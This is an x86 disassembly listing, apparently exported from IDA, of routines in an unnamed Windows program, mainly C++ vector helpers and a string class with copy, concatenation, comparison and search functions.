var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_34 = byte ptr -34h
var_30 = byte ptr -30h
var_C = dword ptr -0Ch
push 0FFFFFFFFh
push offset SEH_409650
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3Ch+var_39]
lea ecx, [esp+3Ch+var_38]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+44h+var_40]
mov [esp+44h+var_C], 0
push ecx
lea ecx, [esp+48h+var_30]
nop
call near ptr 760A0430h
lea edx, [esp+48h+var_34]
push offset dword_440088
push edx
call sub_437B22
sub_409650 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4096D0 proc near ; CODE XREF: sub_401BAEj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40979B
mov ecx, esi
call sub_401983
cmp edi, eax
jnb short loc_409703
mov ecx, esi
call sub_401983
mov ebp, eax
jmp short loc_409705
; ---------------------------------------------------------------------------
loc_409703: ; CODE XREF: sub_4096D0+26j
mov ebp, edi
loc_409705: ; CODE XREF: sub_4096D0+31j
mov ecx, esi
call sub_401983
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401CC1
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4016E0
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_401177
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_401983
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40979B: ; CODE XREF: sub_4096D0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_4097F9
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4016E0
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_401177
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_4097F9: ; CODE XREF: sub_4096D0+D8j
test edi, edi
jbe short loc_409833
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4016E0
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_401CDF
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401FB4
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_409833: ; CODE XREF: sub_4096D0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_4096D0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4098A0 proc near ; CODE XREF: sub_401717j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_4098C0
loc_4098B1: ; CODE XREF: sub_4098A0+1Ej
push esi
mov ecx, edi
call sub_402090
add esi, 4
cmp esi, ebx
jnz short loc_4098B1
loc_4098C0: ; CODE XREF: sub_4098A0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_4098A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4098E0 proc near ; CODE XREF: sub_401294j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_4098E0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409900 proc near ; CODE XREF: sub_402090j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_7
pop ecx
retn 4
sub_409900 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409920 proc near ; CODE XREF: sub_4016E0j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_409952
push edi
mov edi, [esp+10h+arg_8]
loc_409936: ; CODE XREF: sub_409920+27j
push esi
push edi
mov ecx, ebx
call sub_4015B4
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_409936
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_409952: ; CODE XREF: sub_409920+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_409920 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409970 proc near ; CODE XREF: sub_401177j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_409997
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_409986: ; CODE XREF: sub_409970+23j
push ebx
push esi
mov ecx, ebp
call sub_4015B4
add esi, 4
dec edi
jnz short loc_409986
pop esi
pop ebx
loc_409997: ; CODE XREF: sub_409970+Aj
pop edi
pop ebp
retn 0Ch
sub_409970 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4099B0 proc near ; CODE XREF: sub_401CC1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402059
sub_4099B0 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4099E0 proc near ; CODE XREF: sub_4015B4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401145
add esp, 8
retn 8
sub_4099E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A10 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_409A2D
mov edx, [esp+arg_8]
push esi
loc_409A21: ; CODE XREF: sub_409A10+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_409A21
pop esi
locret_409A2D: ; CODE XREF: sub_409A10+Aj
retn
sub_409A10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409A40 proc near ; CODE XREF: sub_401CDFj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_409A62
mov eax, [esp+arg_8]
push esi
loc_409A51: ; CODE XREF: sub_409A40+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_409A51
pop esi
retn
; ---------------------------------------------------------------------------
loc_409A62: ; CODE XREF: sub_409A40+Aj
mov eax, [esp+arg_8]
retn
sub_409A40 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_409AA0 proc near ; CODE XREF: sub_402059j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_409AAA
xor eax, eax
loc_409AAA: ; CODE XREF: sub_409AA0+6j
shl eax, 2
push eax
call sub_437AEA
sub_409AA0 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409AD0 proc near ; CODE XREF: sub_401145j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_409AEB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_409AEB: ; CODE XREF: sub_409AD0+11j
retn
sub_409AD0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B00 proc near ; CODE XREF: sub_401988j
arg_0 = dword ptr 4
mov al, byte_44915A
push esi
test al, al
mov esi, ecx
jz short loc_409B36
push edi
call near ptr 28315ACh
nop
mov edi, dword_5118CC
push 0FFFFFFF5h
call edi
push 0FFFFFFF4h
mov [esi], eax
call edi
mov [esi+4], eax
mov eax, [esp+8+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], eax
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409B36: ; CODE XREF: sub_409B00+Aj
mov ecx, [esp+4+arg_0]
mov byte ptr [esi+8], 1
mov [esi+9], ecx
pop esi
retn 4
sub_409B00 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409B70 proc near ; CODE XREF: sub_401CEEj
mov al, byte_44915A
push esi
test al, al
mov esi, ecx
jz short loc_409B8F
call near ptr 2831950h
nop
mov dword ptr [esi], 0FFFFFFFFh
mov dword ptr [esi+4], 0FFFFFFFFh
loc_409B8F: ; CODE XREF: sub_409B70+Aj
mov byte ptr [esi+8], 0
pop esi
retn
sub_409B70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409BB0 proc near ; CODE XREF: sub_40142Ej
mov eax, ecx
xor ecx, ecx
mov dword ptr [eax], offset off_43F010
mov [eax+9], ecx
mov [eax+11h], ecx
mov [eax+4], cl
mov [eax+0Dh], ecx
retn
sub_409BB0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409BE0: ; CODE XREF: ___:00402081j
; ___:loc_40218Fj
push esi
mov esi, ecx
call sub_401226
test byte ptr [esp+8], 1
jz short loc_409BF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409BF8: ; CODE XREF: ___:00409BEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C10 proc near ; CODE XREF: sub_401870j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C10 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C50 proc near ; CODE XREF: sub_4014D3j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push eax
mov dword ptr [esi], offset off_43F010
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_401FDC
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
retn 4
sub_409C50 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409C90 proc near ; CODE XREF: sub_402112j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push ebx
push esi
mov esi, ecx
push eax
lea ecx, [esp+1Ch+var_10]
push offset dword_4447F4
push ecx
mov dword ptr [esi], offset off_43F010
nop
call sub_5F285B
add esp, 0Ch
lea edx, [esp+18h+var_10]
xor ebx, ebx
mov ecx, esi
push edx
mov [esi+9], ebx
mov [esi+11h], ebx
call sub_4015E1
mov [esi+4], bl
mov [esi+0Dh], ebx
mov eax, esi
pop esi
pop ebx
add esp, 10h
retn 4
sub_409C90 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D00 proc near ; CODE XREF: sub_401226j
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, [esi+9]
mov dword ptr [esi], offset off_43F010
cmp eax, edi
jz short loc_409D1C
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D1C: ; CODE XREF: sub_409D00+11j
mov eax, [esi+0Dh]
mov [esi+9], edi
cmp eax, edi
jz short loc_409D2F
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D2F: ; CODE XREF: sub_409D00+24j
mov [esi+0Dh], edi
mov [esi+11h], edi
pop edi
pop esi
retn
sub_409D00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409D50 proc near ; CODE XREF: sub_4015E1j
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov esi, ecx
test edi, edi
jz short loc_409DBA
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+9]
not ecx
dec ecx
test eax, eax
mov ebp, ecx
jz short loc_409D7A
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409D7A: ; CODE XREF: sub_409D50+1Fj
lea ebx, [ebp+2]
push ebx
call sub_437AEA
; ---------------------------------------------------------------------------
db 8Bh
dd 4C483F8h, 7E89FF85h, 8B2B7409h, 8BC033CBh, 116E89D1h
dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
dd 51500956h, 0DCDAE852h, 83907783h
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_409DBA: ; CODE XREF: sub_409D50+Cj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409D50 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409DF0 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_409DF0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_409E20: ; CODE XREF: ___:00401A5Aj
mov eax, [esp+4]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+8]
push offset dword_4447F4
push ecx
nop
call sub_5F285B
add esp, 0Ch
lea edx, [esp+4]
mov ecx, esi
push edx
call sub_4015E1
pop esi
add esp, 10h
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409E70 proc near ; CODE XREF: sub_401AAFj
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
mov ebx, ecx
test edi, edi
jz loc_409F02
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov edi, [ebx+11h]
not ecx
dec ecx
mov esi, ecx
add esi, edi
lea eax, [esi+1]
push eax
call sub_437AEA
; ---------------------------------------------------------------------------
mov edi, [ebx+9]
add esp, 4
test edi, edi
mov ebp, eax
jz short loc_409F02
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+11h], esi
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov edi, [esp+10h+arg_0]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, edx
dec edi
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx+9]
test eax, eax
jz short loc_409EFF
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_409EFF: ; CODE XREF: sub_409E70+84j
mov [ebx+9], ebp
loc_409F02: ; CODE XREF: sub_409E70+Cj
; sub_409E70+36j
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_409E70 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F40 proc near ; CODE XREF: sub_4016C7j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_401AAF
pop esi
retn 4
sub_409F40 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409F70 proc near ; CODE XREF: sub_401140j
var_10 = byte ptr -10h
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub esp, 10h
push esi
mov esi, ecx
push eax
lea ecx, [esp+18h+var_10]
push offset dword_4447F4
push ecx
call sub_5F285B
nop
add esp, 0Ch
lea edx, [esp+14h+var_10]
mov ecx, esi
push edx
call sub_401AAF
pop esi
add esp, 10h
retn 4
sub_409F70 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409FC0 proc near ; CODE XREF: sub_4012EEj
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_409FD7
mov edx, [ecx+9]
xor eax, eax
test edx, edx
setnz al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_409FD7: ; CODE XREF: sub_409FC0+7j
mov eax, [ecx+9]
push ebx
loc_409FDB: ; CODE XREF: sub_409FC0+3Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_40A006
test cl, cl
jz short loc_409FFF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_40A006
add eax, 2
add esi, 2
test cl, cl
jnz short loc_409FDB
loc_409FFF: ; CODE XREF: sub_409FC0+27j
pop ebx
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A006: ; CODE XREF: sub_409FC0+23j
; sub_409FC0+33j
sbb eax, eax
pop ebx
sbb eax, 0FFFFFFFFh
pop esi
retn 4
sub_409FC0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A030 proc near ; CODE XREF: sub_401B86j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A030 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A060 proc near ; CODE XREF: sub_40150Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jnz short loc_40A073
mov edx, [ecx+9]
test edx, edx
setnz al
retn 4
; ---------------------------------------------------------------------------
loc_40A073: ; CODE XREF: sub_40A060+6j
push eax
mov eax, [ecx+9]
push eax
nop
call near ptr 77C4624Eh
add esp, 8
retn 4
sub_40A060 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0A0 proc near ; CODE XREF: sub_4021D0j
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4012EE
pop esi
retn 4
sub_40A0A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A0D0 proc near ; CODE XREF: sub_401CD0j
push esi
mov esi, ecx
mov eax, [esi+9]
test eax, eax
jz short loc_40A0E3
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A0E3: ; CODE XREF: sub_40A0D0+8j
mov dword ptr [esi+9], 0
pop esi
retn
sub_40A0D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A100 proc near ; CODE XREF: sub_40102Dj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov eax, [esp+arg_2004]
test eax, eax
jz short loc_40A142
lea ecx, [esp+arg_2008]
lea edx, [esp+0]
push ecx
push eax
push 2000h
push edx
call near ptr 77C3FF8Ah
nop
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_4015E1
loc_40A142: ; CODE XREF: sub_40A100+13j
add esp, 2000h
retn
sub_40A100 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A170 proc near ; CODE XREF: sub_401D34j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401316
retn 4
sub_40A170 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A190 proc near ; CODE XREF: sub_401316j
arg_0 = byte ptr 4
push ebx
mov ebx, dword_511AEC
push esi
push edi
movsx edi, [esp+0Ch+arg_0]
mov esi, ecx
push edi
mov eax, [esi+9]
push eax
call ebx ; strchr
add esp, 8
test eax, eax
jnz short loc_40A1B4
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A1B4: ; CODE XREF: sub_40A190+1Cj
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strchr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A190 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A1E0 proc near ; CODE XREF: sub_4018B1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401816
retn 4
sub_40A1E0 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A200 proc near ; CODE XREF: sub_401816j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_402135
pop esi
retn 8
sub_40A200 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A230 proc near ; CODE XREF: sub_4013EDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_402135
retn 4
sub_40A230 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A250 proc near ; CODE XREF: sub_402135j
arg_0 = dword ptr 4
push ebx
push esi
push edi
mov edi, [esp+0Ch+arg_0]
test edi, edi
mov esi, ecx
jnz short loc_40A265
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A265: ; CODE XREF: sub_40A250+Bj
mov eax, [esi+9]
mov ebx, dword_511B04
push edi
push eax
call ebx ; strstr
add esp, 8
test eax, eax
jnz short loc_40A27F
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_40A27F: ; CODE XREF: sub_40A250+27j
mov ecx, [esi+9]
push edi
push ecx
call ebx ; strstr
mov edi, [esi+9]
add esp, 8
mov edx, 1
sub edx, edi
pop edi
pop esi
add eax, edx
pop ebx
retn 8
sub_40A250 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A2C0 proc near ; CODE XREF: sub_401C71j
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
test edi, edi
jnz short loc_40A2D3
pop edi
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40A2D3: ; CODE XREF: sub_40A2C0+Aj
mov eax, [esi+9]
mov [esi+11h], edi
test eax, eax
jz short loc_40A2E6
push eax
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40A2E6: ; CODE XREF: sub_40A2C0+1Bj
push ebx
lea ebx, [edi+1]
push ebx
call sub_437AEA
sub_40A2C0 endp
; ---------------------------------------------------------------------------
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov [esi+9], edi
add esp, 4
rep stosd
mov ecx, edx
pop ebx
and ecx, 3
rep stosb
mov eax, [esi+9]
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A340 proc near ; CODE XREF: sub_4013E3j
mov eax, [ecx+11h]
retn
sub_40A340 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A360 proc near ; CODE XREF: sub_4012B2j
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A360
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebp
mov ebp, [esp+30h+arg_8]
push esi
xor esi, esi
cmp ebp, 1
mov [esp+34h+var_2C], ecx
mov [esp+34h+var_28], esi
jge short loc_40A3B2
mov esi, [esp+34h+arg_0]
push offset byte_448F30
mov ecx, esi
call sub_401870
mov eax, esi
pop esi
pop ebp
mov ecx, [esp+2Ch+var_C]
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
loc_40A3B2: ; CODE XREF: sub_40A360+2Bj
push ebx
push edi
lea ecx, [esp+3Ch+var_24]
call sub_40142E
mov [esp+3Ch+var_4], esi
lea esi, [ebp+1]
push esi
call sub_437AEA
sub_40A360 endp
; ---------------------------------------------------------------------------
mov ecx, esi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd
mov ecx, edx
mov edx, [esp+44h]
and ecx, 3
push ebx
rep stosb
mov eax, [esp+14h]
mov ecx, ebp
mov edi, ebx
mov esi, [eax+9]
add esi, edx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
lea ecx, [esp+1Ch]
call sub_4015E1
push ebx
call sub_437AD2
; ---------------------------------------------------------------------------
mov esi, [esp+44h]
add esp, 4
lea eax, [esp+18h]
mov ecx, esi
push eax
call sub_4014D3
lea ecx, [esp+18h]
call sub_401226
mov ecx, [esp+30h]
pop edi
mov eax, esi
pop ebx
pop esi
pop ebp
mov large fs:0, ecx
add esp, 2Ch
retn 0Ch
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A490 proc near ; CODE XREF: sub_401E47j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push esi
push edi
mov esi, ecx
mov [esp+0Ch+var_4], 0
call sub_4013E3
mov ecx, [esp+0Ch+arg_4]
mov edi, [esp+0Ch+arg_0]
sub eax, ecx
push eax
push ecx
push edi
mov ecx, esi
call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A490 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
